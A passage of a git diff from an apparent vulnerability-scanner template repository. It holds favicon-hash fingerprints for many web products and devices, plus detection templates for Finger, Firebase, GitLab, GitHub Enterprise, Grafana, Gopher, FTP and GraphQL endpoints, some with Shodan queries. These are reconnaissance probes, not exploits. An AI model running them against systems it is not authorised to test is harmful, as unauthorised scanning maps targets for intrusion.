"status_code==200 && (\"2127152956\" == mmh3(base64_py(body)))" + - type: dsl name: "rabbitmq" dsl: - "status_code==200 && (\"1064742722\" == mmh3(base64_py(body)))" + - type: dsl name: "openmediavault-nas" dsl: - "status_code==200 && (\"-693082538\" == mmh3(base64_py(body)))" + - type: dsl name: "openwrt-luci" dsl: - "status_code==200 && (\"1941381095\" == mmh3(base64_py(body)))" + - type: dsl name: "honeywell" dsl: - "status_code==200 && (\"903086190\" == mmh3(base64_py(body)))" + - type: dsl name: "bomgar-support-portal" dsl: - "status_code==200 && (\"829321644\" == mmh3(base64_py(body)))" + - type: dsl name: "nuxt-js" dsl: - "status_code==200 && (\"-1442789563\" == mmh3(base64_py(body)))" + - type: dsl name: "roundcube-webmail" dsl: - "status_code==200 && (\"-2140379067\" == mmh3(base64_py(body)))" + - type: dsl name: "d-link-camera" dsl: - "status_code==200 && (\"-1897829998\" == mmh3(base64_py(body)))" + - type: dsl name: "netgear-network" dsl: - "status_code==200 && (\"1047213685\" == mmh3(base64_py(body)))" + - type: dsl name: "sonarqube" dsl: - "status_code==200 && (\"1485257654\" == mmh3(base64_py(body)))" + - type: dsl name: "lupus-electronics-xt" dsl: - "status_code==200 && (\"-299324825\" == mmh3(base64_py(body)))" + - type: dsl name: "vanderbilt-spc" dsl: - "status_code==200 && (\"-1162730477\" == mmh3(base64_py(body)))" + - type: dsl name: "vzpp-plesk" dsl: - "status_code==200 && (\"-1268095485\" == mmh3(base64_py(body)))" + - type: dsl name: "baidu" dsl: - "status_code==200 && (\"1118684072\" == mmh3(base64_py(body)))" + - type: dsl name: "owncloud" dsl: - "status_code==200 && (\"-1616115760\" == mmh3(base64_py(body)))" + - type: dsl name: "sentora" dsl: - "status_code==200 && (\"-2054889066\" == mmh3(base64_py(body)))" + - type: dsl name: "alfresco" dsl: - "status_code==200 && (\"1333537166\" == mmh3(base64_py(body)))" + - type: dsl name: "digital-keystone-dk" dsl: - "status_code==200 && (\"-373674173\" == mmh3(base64_py(body)))" + - type: dsl name: "wispr-airlan" dsl: - "status_code==200 && (\"-106646451\" == mmh3(base64_py(body)))" + - type: dsl name: "synology-vpn-plus" dsl: - "status_code==200 && (\"1235070469\" == mmh3(base64_py(body)))" + - type: dsl name: "sentry" dsl: - "status_code==200 && (\"2063428236\" == mmh3(base64_py(body)))" + - type: dsl name: "watchguard" dsl: - "status_code==200 && (\"15831193\" == mmh3(base64_py(body)))" + - type: dsl name: "web-client-pro" dsl: - "status_code==200 && (\"-956471263\" == mmh3(base64_py(body)))" + - type: dsl name: "tecvoz" dsl: - "status_code==200 && (\"-1452159623\" == mmh3(base64_py(body)))" + - type: dsl name: "mdaemon-remote-administration" dsl: - "status_code==200 && (\"99432374\" == mmh3(base64_py(body)))" + - type: dsl name: "paradox-ip-module" dsl: - "status_code==200 && (\"727253975\" == mmh3(base64_py(body)))" + - type: dsl name: "dokuwiki" dsl: - "status_code==200 && (\"-630493013\" == mmh3(base64_py(body)))" + - type: dsl name: "sails" dsl: - "status_code==200 && (\"552597979\" == mmh3(base64_py(body)))" + - type: dsl name: "fastpanel-hosting" dsl: - "status_code==200 && (\"774252049\" == mmh3(base64_py(body)))" + - type: dsl name: "c-lodop" dsl: - "status_code==200 && (\"-329747115\" == mmh3(base64_py(body)))" + - type: dsl name: "jamf-pro-login" dsl: - "status_code==200 && (\"1262005940\" == mmh3(base64_py(body)))" + - type: dsl name: "struxureware-schneider-electric" dsl: - "status_code==200 && (\"979634648\" == mmh3(base64_py(body)))" + - type: dsl name: "axcient-replibit-management-server" dsl: - "status_code==200 && (\"475379699\" == mmh3(base64_py(body)))" + - type: dsl name: "twonky-server-media-streaming" dsl: - "status_code==200 && (\"-878891718\" == mmh3(base64_py(body)))" + - type: dsl name: "windows-azure" dsl: - "status_code==200 && (\"-2125083197\" == mmh3(base64_py(body)))" + - type: dsl name: "isp-manager-web-hosting-panel" dsl: - "status_code==200 && (\"-1151675028\" == mmh3(base64_py(body)))" + - type: dsl name: "jupyterhub" dsl: - "status_code==200 && (\"1248917303\" == mmh3(base64_py(body)))" + - type: dsl name: "centurylink-modem-gui-login-eg" dsl: - "status_code==200 && (\"-1908556829\" == mmh3(base64_py(body)))" + - type: dsl name: "tecvoz" dsl: - "status_code==200 && (\"1059329877\" == mmh3(base64_py(body)))" + - type: dsl name: "opnsense" dsl: - "status_code==200 && (\"-1148190371\" == mmh3(base64_py(body)))" + - type: dsl name: "ligowave-network" dsl: - "status_code==200 && (\"1467395679\" == mmh3(base64_py(body)))" + - type: dsl name: "rumpus" dsl: - "status_code==200 && (\"-1528414776\" == mmh3(base64_py(body)))" + - type: dsl name: "spiceworks-panel" dsl: - "status_code==200 && (\"-2117390767\" == mmh3(base64_py(body)))" + - type: dsl name: "teamcity" dsl: - "status_code==200 && (\"-1944119648\" == mmh3(base64_py(body)))" + - type: dsl name: "instar-full-hd-ip-camera" dsl: - "status_code==200 && (\"-1748763891\" == mmh3(base64_py(body)))" + - type: dsl name: "gpon-home-gateway" dsl: - "status_code==200 && (\"251106693\" == mmh3(base64_py(body)))" + - type: dsl name: "alienvault" dsl: - "status_code==200 && (\"-1779611449\" == mmh3(base64_py(body)))" + - type: dsl name: "arbor-networks" dsl: - "status_code==200 && (\"-1745552996\" == mmh3(base64_py(body)))" + - type: dsl name: "accrisoft" dsl: - "status_code==200 && (\"-1275148624\" == mmh3(base64_py(body)))" + - type: dsl name: "yasni" dsl: - "status_code==200 && (\"-178685903\" == mmh3(base64_py(body)))" + - type: dsl name: "slack" dsl: - "status_code==200 && (\"-43161126\" == mmh3(base64_py(body)))" + - type: dsl name: "innovaphone" dsl: - "status_code==200 && (\"671221099\" == mmh3(base64_py(body)))" + - type: dsl name: "shinobi-cctv" dsl: - "status_code==200 && (\"-10974981\" == mmh3(base64_py(body)))" + - type: dsl name: "tp-link-network-device" dsl: - "status_code==200 && (\"1274078387\" == mmh3(base64_py(body)))" + - type: dsl name: "siemens-ozw772" dsl: - "status_code==200 && (\"-336242473\" == mmh3(base64_py(body)))" + - type: dsl name: "lantronix-spider" dsl: - "status_code==200 && (\"882208493\" == mmh3(base64_py(body)))" + - type: dsl name: "claimtime-ramsell-public-health-&-safety" dsl: - "status_code==200 && (\"-687783882\" == mmh3(base64_py(body)))" + - type: dsl name: "surfilter-ssl-vpn-portal" dsl: - "status_code==200 && (\"-590892202\" == mmh3(base64_py(body)))" + - type: dsl name: "kyocera-printer" dsl: - "status_code==200 && (\"-50306417\" == mmh3(base64_py(body)))" + - type: dsl name: "lucee!" dsl: - "status_code==200 && (\"784872924\" == mmh3(base64_py(body)))" + - type: dsl name: "ricoh" dsl: - "status_code==200 && (\"1135165421\" == mmh3(base64_py(body)))" + - type: dsl name: "handle-proxy" dsl: - "status_code==200 && (\"926501571\" == mmh3(base64_py(body)))" + - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"579239725\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-689902428\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-600508822\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"656868270\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-2056503929\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-1656695885\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"331870709\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"1241049726\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"998138196\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"322531336\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-401934945\" == mmh3(base64_py(body)))" + - type: dsl name: "iomega-nas" dsl: - "status_code==200 && (\"-613216179\" == mmh3(base64_py(body)))" + - type: dsl name: "chef-automate" dsl: - "status_code==200 && (\"-276759139\" == mmh3(base64_py(body)))" + - type: dsl name: "gargoyle-router-management-utility" dsl: - "status_code==200 && (\"1862132268\" == mmh3(base64_py(body)))" + - type: dsl name: "keepitsafe-management-console" dsl: - "status_code==200 && (\"-1738727418\" == mmh3(base64_py(body)))" + - type: dsl name: "entronix-energy-management-platform" dsl: - "status_code==200 && (\"-368490461\" == mmh3(base64_py(body)))" + - type: dsl name: "openproject" dsl: - "status_code==200 && (\"1836828108\" == mmh3(base64_py(body)))" + - type: dsl name: "unified-management-console-polycom" dsl: - "status_code==200 && (\"-1775553655\" == mmh3(base64_py(body)))" + - type: dsl name: "moxapass-iologik-remote-ethernet-i/o-server-" dsl: - "status_code==200 && (\"381100274\" == mmh3(base64_py(body)))" + - type: dsl name: "hfs-http-file-server" dsl: - "status_code==200 && (\"2124459909\" == mmh3(base64_py(body)))" + - type: dsl name: "hfs-http-file-server" dsl: - "status_code==200 && (\"731374291\" == mmh3(base64_py(body)))" + - type: dsl name: "traccar-gps-tracking" dsl: - "status_code==200 && (\"-335153896\" == mmh3(base64_py(body)))" + - type: dsl name: "iw" dsl: - "status_code==200 && (\"896412703\" == mmh3(base64_py(body)))" + - type: dsl name: "wordpress-under-construction-icon" dsl: - "status_code==200 && (\"191654058\" == mmh3(base64_py(body)))" + - type: dsl name: "combivox" dsl: - "status_code==200 && (\"-342262483\" == mmh3(base64_py(body)))" + - type: dsl name: "netcomwireless-network" dsl: - "status_code==200 && (\"5542029\" == mmh3(base64_py(body)))" + - type: dsl name: "elastic-database" dsl: - "status_code==200 && (\"1552860581\" == mmh3(base64_py(body)))" + - type: dsl name: "drupal" dsl: - "status_code==200 && (\"1174841451\" == mmh3(base64_py(body)))" + - type: dsl name: "truvision-nvr" dsl: - "status_code==200 && (\"-1093172228\" == mmh3(base64_py(body)))" + - type: dsl name: "spamexperts" dsl: - "status_code==200 && (\"-1688698891\" == mmh3(base64_py(body)))" + - type: dsl name: "sonatype-nexus-repository-manager" dsl: - "status_code==200 && (\"-1546574541\" == mmh3(base64_py(body)))" + - type: dsl name: "idirect-canada-network-management" dsl: - "status_code==200 && (\"-256828986\" == mmh3(base64_py(body)))" + - type: dsl name: "openerp-now-known-as-odoo" dsl: - "status_code==200 && (\"1966198264\" == mmh3(base64_py(body)))" + - type: dsl name: "pkp-openjournalsystems-public-knowledge-project" dsl: - "status_code==200 && (\"2099342476\" == mmh3(base64_py(body)))" + - type: dsl name: "liquidfiles" dsl: - "status_code==200 && (\"541087742\" == mmh3(base64_py(body)))" + - type: dsl name: "zyxel-network" dsl: - "status_code==200 && (\"-882760066\" == mmh3(base64_py(body)))" + - type: dsl name: "universal-devices-ud" dsl: - "status_code==200 && (\"16202868\" == mmh3(base64_py(body)))" + - type: dsl name: "huawei-network" dsl: - "status_code==200 && (\"987967490\" == mmh3(base64_py(body)))" + - type: dsl name: "gm77[.]com" dsl: - "status_code==200 && (\"-647318973\" == mmh3(base64_py(body)))" + - type: dsl name: "okazik[.]pl" dsl: - "status_code==200 && (\"-1583478052\" == mmh3(base64_py(body)))" + - type: dsl name: "gitea" dsl: - "status_code==200 && (\"1969970750\" == mmh3(base64_py(body)))" + - type: dsl name: "tc-group" dsl: - "status_code==200 && (\"-1734573358\" == mmh3(base64_py(body)))" + - type: dsl name: "deluge-web-ui" dsl: - "status_code==200 && (\"-1589842876\" == mmh3(base64_py(body)))" + - type: dsl name: "登录-amh" dsl: - "status_code==200 && (\"1822002133\" == mmh3(base64_py(body)))" + - type: dsl name: "otrs-open-ticket-request-system" dsl: - "status_code==200 && (\"-2006308185\" == mmh3(base64_py(body)))" + - type: dsl name: "bosch-security-systems-camera" dsl: - "status_code==200 && (\"-1702769256\" == mmh3(base64_py(body)))" + - type: dsl name: "node-red" dsl: - "status_code==200 && (\"321591353\" == mmh3(base64_py(body)))" + - type: dsl name: "motioneye-camera" dsl: - "status_code==200 && (\"-923693877\" == mmh3(base64_py(body)))" + - type: dsl name: "saia-burgess-controls-pcd" dsl: - "status_code==200 && (\"-1547576879\" == mmh3(base64_py(body)))" + - type: dsl name: "arcadyan-o2-box-network" dsl: - "status_code==200 && (\"1479202414\" == mmh3(base64_py(body)))" + - type: dsl name: "d-link-network" dsl: - "status_code==200 && (\"1081719753\" == mmh3(base64_py(body)))" + - type: dsl name: "abilis-network/automation" dsl: - "status_code==200 && (\"-166151761\" == mmh3(base64_py(body)))" + - type: dsl name: "ghost-cms" dsl: - "status_code==200 && (\"-1231681737\" == mmh3(base64_py(body)))" + - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"321909464\" == mmh3(base64_py(body)))" + - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"-1153873472\" == mmh3(base64_py(body)))" + - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"1095915848\" == mmh3(base64_py(body)))" + - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"788771792\" == mmh3(base64_py(body)))" + - type: dsl name: "airwatch" dsl: - "status_code==200 && (\"-1863663974\" == mmh3(base64_py(body)))" + - type: dsl name: "keyhelp-keyweb-ag" dsl: - "status_code==200 && (\"-1267819858\" == mmh3(base64_py(body)))" + - type: dsl name: "keyhelp-keyweb-ag" dsl: - "status_code==200 && (\"726817668\" == mmh3(base64_py(body)))" + - type: dsl name: "glpi" dsl: - "status_code==200 && (\"-1474875778\" == mmh3(base64_py(body)))" + - type: dsl name: "netcom-technology" dsl: - "status_code==200 && (\"5471989\" == mmh3(base64_py(body)))" + - type: dsl name: "cradlepoint" dsl: - "status_code==200 && (\"-1457536113\" == mmh3(base64_py(body)))" + - type: dsl name: "myasp" dsl: - "status_code==200 && (\"-736276076\" == mmh3(base64_py(body)))" + - type: dsl name: "intelbras-sa" dsl: - "status_code==200 && (\"-1343070146\" == mmh3(base64_py(body)))" + - type: dsl name: "lenel" dsl: - "status_code==200 && (\"538585915\" == mmh3(base64_py(body)))" + - type: dsl name: "okofen-pellematic" dsl: - "status_code==200 && (\"-625364318\" == mmh3(base64_py(body)))" + - type: dsl name: "simplehelp-remote-support" dsl: - "status_code==200 && (\"1117165781\" == mmh3(base64_py(body)))" + - type: dsl name: "graphql" dsl: - "status_code==200 && (\"-1067420240\" == mmh3(base64_py(body)))" + - type: dsl name: "dnn-cms" dsl: - "status_code==200 && (\"-1465479343\" == mmh3(base64_py(body)))" + - type: dsl name: "apple" dsl: - "status_code==200 && (\"1232159009\" == mmh3(base64_py(body)))" + - type: dsl name: "apple" dsl: - "status_code==200 && (\"1382324298\" == mmh3(base64_py(body)))" + - type: dsl name: "apple" dsl: - "status_code==200 && (\"-1498185948\" == mmh3(base64_py(body)))" + - type: dsl name: "ispconfig" dsl: - "status_code==200 && (\"483383992\" == mmh3(base64_py(body)))" + - type: dsl name: "microsoft-outlook" dsl: - "status_code==200 && (\"-1249852061\" == mmh3(base64_py(body)))" + - type: dsl name: "possibly-dvr" dsl: - "status_code==200 && (\"999357577\" == mmh3(base64_py(body)))" + - type: dsl name: "possible-ip-camera" dsl: - "status_code==200 && (\"492290497\" == mmh3(base64_py(body)))" + - type: dsl name: "dvr" dsl: - "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))" + - type: dsl name: "One Identity Password Manager" dsl: - "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))" + - type: dsl name: "Kaseya" dsl: - "status_code==200 && (\"-1445519482\" == mmh3(base64_py(body)))" + - type: dsl name: "OpenSNS" dsl: - "status_code==200 && (\"1167011145\" == mmh3(base64_py(body)))" + + - type: dsl + name: "SpamSniper" + dsl: + - "status_code==200 && (\"-1000719429\" == mmh3(base64_py(body)))" + + - type: dsl + name: "Selea-ANPR-Camera" + dsl: + - "status_code==200 && (\"-41369781\" == mmh3(base64_py(body)))" + + - type: dsl + name: "Selea-CarPlateServer" + dsl: + - "status_code==200 && (\"-656528622\" == mmh3(base64_py(body)))" + + - type: dsl + name: "KevinLAB" + dsl: + - "status_code==200 && (\"-1650202746\" == mmh3(base64_py(body)))" + + - type: dsl + name: "qdPM" + dsl: + - "status_code==200 && (\"762074255\" == mmh3(base64_py(body)))" diff --git a/poc/detect/finger-detect.yaml b/poc/detect/finger-detect.yaml new file mode 100644 index 0000000000..b1db8234d0 --- /dev/null +++ b/poc/detect/finger-detect.yaml @@ -0,0 +1,31 @@ +id: finger-detect + +info: + name: Finger Daemon Detection + author: DhiyaneshDK + severity: info + description: | + The finger daemon runs on TCP port 79. The client will (in the case of remote hosts) open a connection to port 79. + metadata: + max-request: 1 + shodan-query: port:"79" action + verified: true + tags: network,finger,detect + +tcp: + - inputs: + - data: "\n" + + host: + - "{{Hostname}}" + port: 79 + + matchers: + - type: word + part: body + words: + - "User" + - "Action" + - "Node" + condition: and +# digest: 4a0a00473045022049355597b5ad971c6f7724854402525640dce71eeff1843d202f4b44eb7d4c51022100e70e69ecce72669039ae38e457640a2203485a81daa48efed8baf018aa57447d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/firebase-detect-7494.yaml b/poc/detect/firebase-detect-7495.yaml similarity index 100% rename from poc/detect/firebase-detect-7494.yaml rename to poc/detect/firebase-detect-7495.yaml diff --git a/poc/detect/firebase-detect-7496.yaml b/poc/detect/firebase-detect-7496.yaml new file mode 100644 index 0000000000..fe4d9b42a7 --- /dev/null +++ b/poc/detect/firebase-detect-7496.yaml @@ -0,0 +1,17 @@ +id: firebase-detect +info: + name: firebase detect + author: organiccrap + severity: low + reference: + - http://ghostlulz.com/google-exposed-firebase-database/ + tags: tech,firebase +requests: + - method: GET + path: + - "{{BaseURL}}/.settings/rules.json?auth=FIREBASE_SECRET" + matchers: + - type: word + words: + - "Could not parse auth token" + part: body diff --git a/poc/detect/form-detection.yaml b/poc/detect/form-detection.yaml new file mode 100644 index 0000000000..4c4b623cc2 --- /dev/null +++ b/poc/detect/form-detection.yaml @@ -0,0 +1,29 @@ +id: form-detection + +info: + name: Form Detection + author: pdteam + severity: info + description: | + A template to detect HTML Forms in page response. + reference: + - https://github.com/dirtycoder0124/formcrawler + tags: form,misc + +http: + - method: GET + path: + - "{{BaseURL}}" + + redirects: true + max-redirects: 2 + + matchers: + - type: word + part: body + words: + - "" + - ".*[Gg]it[bB]ook" - ".*· [Gg]it[bB]ook.*" condition: or + + extractors: + - type: regex + group: 1 + regex: + - '' + - '(?m)' + +# digest: 490a00463044022051c8db0d578ee59a851dbbc2792ca3e5dea61176125b543fd9f2f0bc62d160dc02204e865046049fcecf4fcf21561162fa2a03f74407923f5ee40c6259a7cbcfc26a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/gitbook-detect.yaml b/poc/detect/gitbook-detect.yaml deleted file mode 100644 index 8577e9b0be..0000000000 --- a/poc/detect/gitbook-detect.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: gitbook-detect -info: - name: gitbook-detect - author: ffffffff0x - severity: info - metadata: - shodan-dork: 'http.title:"gitbook"' - fofa: app="Introduction-GitBook" - tags: gitbook,tech -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: regex - part: body - regex: - - ".*[Gg]it[bB]ook" - - ".*· [Gg]it[bB]ook.*" - condition: or diff --git a/poc/detect/github-enterprise-detect-7649.yaml b/poc/detect/github-enterprise-detect-7649.yaml index 8a7fed4649..3c73cad2ec 100644 --- a/poc/detect/github-enterprise-detect-7649.yaml +++ b/poc/detect/github-enterprise-detect-7649.yaml @@ -1,19 +1,30 @@ id: github-enterprise-detect info: - name: Detect Github Enterprise + name: Github Enterprise Login Panel - Detect author: ehsahil severity: info + description: Github Enterprise login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + verified: true + max-request: 1 + shodan-query: title:"Setup GitHub Enterprise" tags: panel,github -requests: +http: - method: GET path: - "{{BaseURL}}/login" - redirects: true + host-redirects: true max-redirects: 2 matchers: - type: word words: - "GitHub · Enterprise" + +# digest: 4a0a004730450220077715270c92cec9eb6e3d4840734a18b0dd9744caef136bbc7c4af288bdd3f7022100888440743dafbddd6facd1f69fcf4bbeb572f3a4edcc192d5d458cea019c9f6b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/github-enterprise-detect-7650.yaml b/poc/detect/github-enterprise-detect-7650.yaml index 3c73cad2ec..bb831d7879 100644 --- a/poc/detect/github-enterprise-detect-7650.yaml +++ b/poc/detect/github-enterprise-detect-7650.yaml @@ -1,30 +1,19 @@ id: github-enterprise-detect info: - name: Github Enterprise Login Panel - Detect + name: Detect Github Enterprise author: ehsahil severity: info - description: Github Enterprise login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - verified: true - max-request: 1 - shodan-query: title:"Setup GitHub Enterprise" - tags: panel,github + tags: panel -http: +requests: - method: GET path: - "{{BaseURL}}/login" - host-redirects: true + redirects: true max-redirects: 2 matchers: - type: word words: - "GitHub · Enterprise" - -# digest: 4a0a004730450220077715270c92cec9eb6e3d4840734a18b0dd9744caef136bbc7c4af288bdd3f7022100888440743dafbddd6facd1f69fcf4bbeb572f3a4edcc192d5d458cea019c9f6b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/gitlab-detect-7672.yaml b/poc/detect/gitlab-detect-7672.yaml index 4db4e862cc..80d05e7f84 100644 --- a/poc/detect/gitlab-detect-7672.yaml +++ b/poc/detect/gitlab-detect-7672.yaml @@ -1,13 +1,18 @@ id: gitlab-detect + info: name: Detect Gitlab author: ehsahil severity: info + metadata: + shodan-query: http.title:"GitLab" tags: panel,gitlab + requests: - method: GET path: - "{{BaseURL}}/users/sign_in" + redirects: true max-redirects: 2 matchers-condition: and @@ -16,6 +21,7 @@ requests: words: - 'GitLab' - 'https://about.gitlab.com' + - type: status status: - 200 diff --git a/poc/detect/gnu-inetutils-ftpd-detect.yaml b/poc/detect/gnu-inetutils-ftpd-detect.yaml new file mode 100644 index 0000000000..b0f64e9844 --- /dev/null +++ b/poc/detect/gnu-inetutils-ftpd-detect.yaml @@ -0,0 +1,30 @@ +id: gnu-inetutils-ftpd-detect + +info: + name: GNU Inetutils FTPd Detect + author: pussycat0x + severity: info + description: | + The File Transfer Protocol (FTP) is a standard network protocol used to transfer computer files between a client and server on a computer network. + metadata: + max-request: 1 + shodan-query: product:"GNU Inetutils FTPd" + verified: true + tags: network,ftp,smartgateway,gnu,inetutils,detect + +tcp: + - inputs: + - data: "\n" + host: + - "{{Hostname}}" + port: 21 + matchers: + - type: word + words: + - "SmartGateway FTP server" + + extractors: + - type: regex + regex: + - "GNU inetutils ([0-9.]+)" +# digest: 4b0a00483046022100d53fa5917b995c96a5a67ec835489ab217df163b9d8cd5d622fe78fe0123691b02210092872705de2a111ebb1b733f3362471c49194ba90fa9ce471465477ea3fed700:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/gopher-detect.yaml b/poc/detect/gopher-detect.yaml new file mode 100644 index 0000000000..8b07c94d51 --- /dev/null +++ b/poc/detect/gopher-detect.yaml @@ -0,0 +1,27 @@ +id: gopher-detect + +info: + name: Gopher Service - Detect + author: pry0cc + severity: info + description: | + Gopher service was detected. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: network,gopher,detect + +tcp: + - inputs: + - data: "\r\n" + host: + - "{{Hostname}}" + port: 70 + + matchers: + - type: dsl + dsl: + - "contains(to_lower(raw), 'gopher')" +# digest: 4a0a00473045022018247452de1229eec5d04fb5ccfb37ca5e8624ab00258499555a4290ef80ad97022100deebe67ab267119d266cb6787193f2b17738e02777a667439b6c769adae58d78:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/grafana-detect-7807.yaml b/poc/detect/grafana-detect-7807.yaml index 2f65955bc5..f50d3e0abe 100644 --- a/poc/detect/grafana-detect-7807.yaml +++ b/poc/detect/grafana-detect-7807.yaml @@ -4,7 +4,7 @@ info: name: Grafana panel detect author: organiccrap severity: info - tags: panel,grafana + tags: panel requests: - method: GET diff --git a/poc/detect/grafana-detect-7809.yaml b/poc/detect/grafana-detect-7809.yaml deleted file mode 100644 index f50d3e0abe..0000000000 --- a/poc/detect/grafana-detect-7809.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: grafana-detect - -info: - name: Grafana panel detect - author: organiccrap - severity: info - tags: panel - -requests: - - method: GET - path: - - "{{BaseURL}}/login" - matchers: - - type: word - words: - - "Grafana" - part: body - extractors: - - type: regex - part: body - group: 1 - regex: - - 'Grafana ([v0-9.]+)' diff --git a/poc/detect/graphql-detect-7829.yaml b/poc/detect/graphql-detect-7829.yaml new file mode 100644 index 0000000000..1794593fe9 --- /dev/null +++ b/poc/detect/graphql-detect-7829.yaml @@ -0,0 +1,68 @@ +id: graphql-detect + +info: + name: GraphQL API Detection + author: NkxxkN & ELSFA7110 + severity: info + +requests: + - method: POST + path: + - "{{BaseURL}}/graphql" + - "{{BaseURL}}/graphiql" + - "{{BaseURL}}/graphql.php" + - "{{BaseURL}}/graphql/console" + - "{{BaseURL}}/v1" + - "{{BaseURL}}/v2" + - "{{BaseURL}}/v3" + - "{{BaseURL}}/graphql-console" + - "{{BaseURL}}/query-laravel" + - "{{BaseURL}}/v3/subscriptions" + - "{{BaseURL}}/v3/graphql/schema.xml" + - "{{BaseURL}}/v3/graphql/schema.yaml" + - "{{BaseURL}}/v3/playground" + - "{{BaseURL}}/v3/graphql/schema.json" + - "{{BaseURL}}/graphql/schema.yaml" + - "{{BaseURL}}/graphql/schema.xml" + - "{{BaseURL}}/graphql/schema.json" + - "{{BaseURL}}/graphiql/finland" + - "{{BaseURL}}/graphiql.css" + - "{{BaseURL}}/graphql-devtools" + - "{{BaseURL}}/graphql/v1" + - "{{BaseURL}}/v1/graphql" + - "{{BaseURL}}/lol/graphql" + - "{{BaseURL}}/lol/graphql/v1" + - "{{BaseURL}}/api/graphql/v1" + - "{{BaseURL}}/portal-graphql" + - "{{BaseURL}}/graphql-playground" + - "{{BaseURL}}/laravel-graphql-playground" + - "{{BaseURL}}/query-explorer" + - "{{BaseURL}}/sphinx-graphiql" + - "{{BaseURL}}/express-graphql" + - "{{BaseURL}}/query" + - "{{BaseURL}}/HyperGraphQL" + - "{{BaseURL}}/graphql/graphql-playground" + - "{{BaseURL}}/graphql-playground-html" + - "{{BaseURL}}/graph_cms" + - "{{BaseURL}}/query-api" + - "{{BaseURL}}/api/cask/graphql-playground" + - "{{BaseURL}}/altair" + - "{{BaseURL}}/playground" + + headers: + Content-Type: application/json + + body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + regex: + - "__schema" + - "(Introspection|INTROSPECTION|introspection).*?" + - ".*?operation not found.*?" + condition: or \ No newline at end of file diff --git a/poc/detect/graphql-detect-7832.yaml b/poc/detect/graphql-detect-7832.yaml index 399e476c60..accb4717fb 100644 --- a/poc/detect/graphql-detect-7832.yaml +++ b/poc/detect/graphql-detect-7832.yaml @@ -1,66 +1,151 @@ id: graphql-detect - info: name: GraphQL API Detection - author: NkxxkN,ELSFA7110 + author: NkxxkN,ELSFA7110,OFJAAAH severity: info - + tags: tech,graphql,fuzz requests: - method: POST path: - - "{{BaseURL}}/graphql" + - "{{BaseURL}}/HyperGraphQL" + - "{{BaseURL}}/___graphql" + - "{{BaseURL}}/altair" + - "{{BaseURL}}/api/cask/graphql-playground" + - "{{BaseURL}}/api/graphql" + - "{{BaseURL}}/api/graphql/v1" + - "{{BaseURL}}/explorer" + - "{{BaseURL}}/express-graphql" + - "{{BaseURL}}/graph" + - "{{BaseURL}}/graph_cms" - "{{BaseURL}}/graphiql" + - "{{BaseURL}}/graphiql.css" + - "{{BaseURL}}/graphiql.js" + - "{{BaseURL}}/graphiql.min.css" + - "{{BaseURL}}/graphiql.min.js" + - "{{BaseURL}}/graphiql.php" + - "{{BaseURL}}/graphiql/finland" + - "{{BaseURL}}/graphql" + - "{{BaseURL}}/graphql-console" + - "{{BaseURL}}/graphql-devtools" + - "{{BaseURL}}/graphql-explorer" + - "{{BaseURL}}/graphql-playground" + - "{{BaseURL}}/graphql-playground-html" - "{{BaseURL}}/graphql.php" - "{{BaseURL}}/graphql/console" + - "{{BaseURL}}/graphql/graphql-playground" + - "{{BaseURL}}/graphql/schema.json" + - "{{BaseURL}}/graphql/schema.xml" + - "{{BaseURL}}/graphql/schema.yaml" + - "{{BaseURL}}/graphql/v1" + - "{{BaseURL}}/je/graphql" + - "{{BaseURL}}/laravel-graphql-playground" + - "{{BaseURL}}/playground" + - "{{BaseURL}}/portal-graphql" + - "{{BaseURL}}/query" + - "{{BaseURL}}/query-api" + - "{{BaseURL}}/query-explorer" + - "{{BaseURL}}/query-laravel" + - "{{BaseURL}}/sphinx-graphiql" + - "{{BaseURL}}/subscriptions" - "{{BaseURL}}/v1" + - "{{BaseURL}}/v1/altair" + - "{{BaseURL}}/v1/api/graphql" + - "{{BaseURL}}/v1/explorer" + - "{{BaseURL}}/v1/graph" + - "{{BaseURL}}/v1/graphiql" + - "{{BaseURL}}/v1/graphiql.css" + - "{{BaseURL}}/v1/graphiql.js" + - "{{BaseURL}}/v1/graphiql.min.css" + - "{{BaseURL}}/v1/graphiql.min.js" + - "{{BaseURL}}/v1/graphiql.php" + - 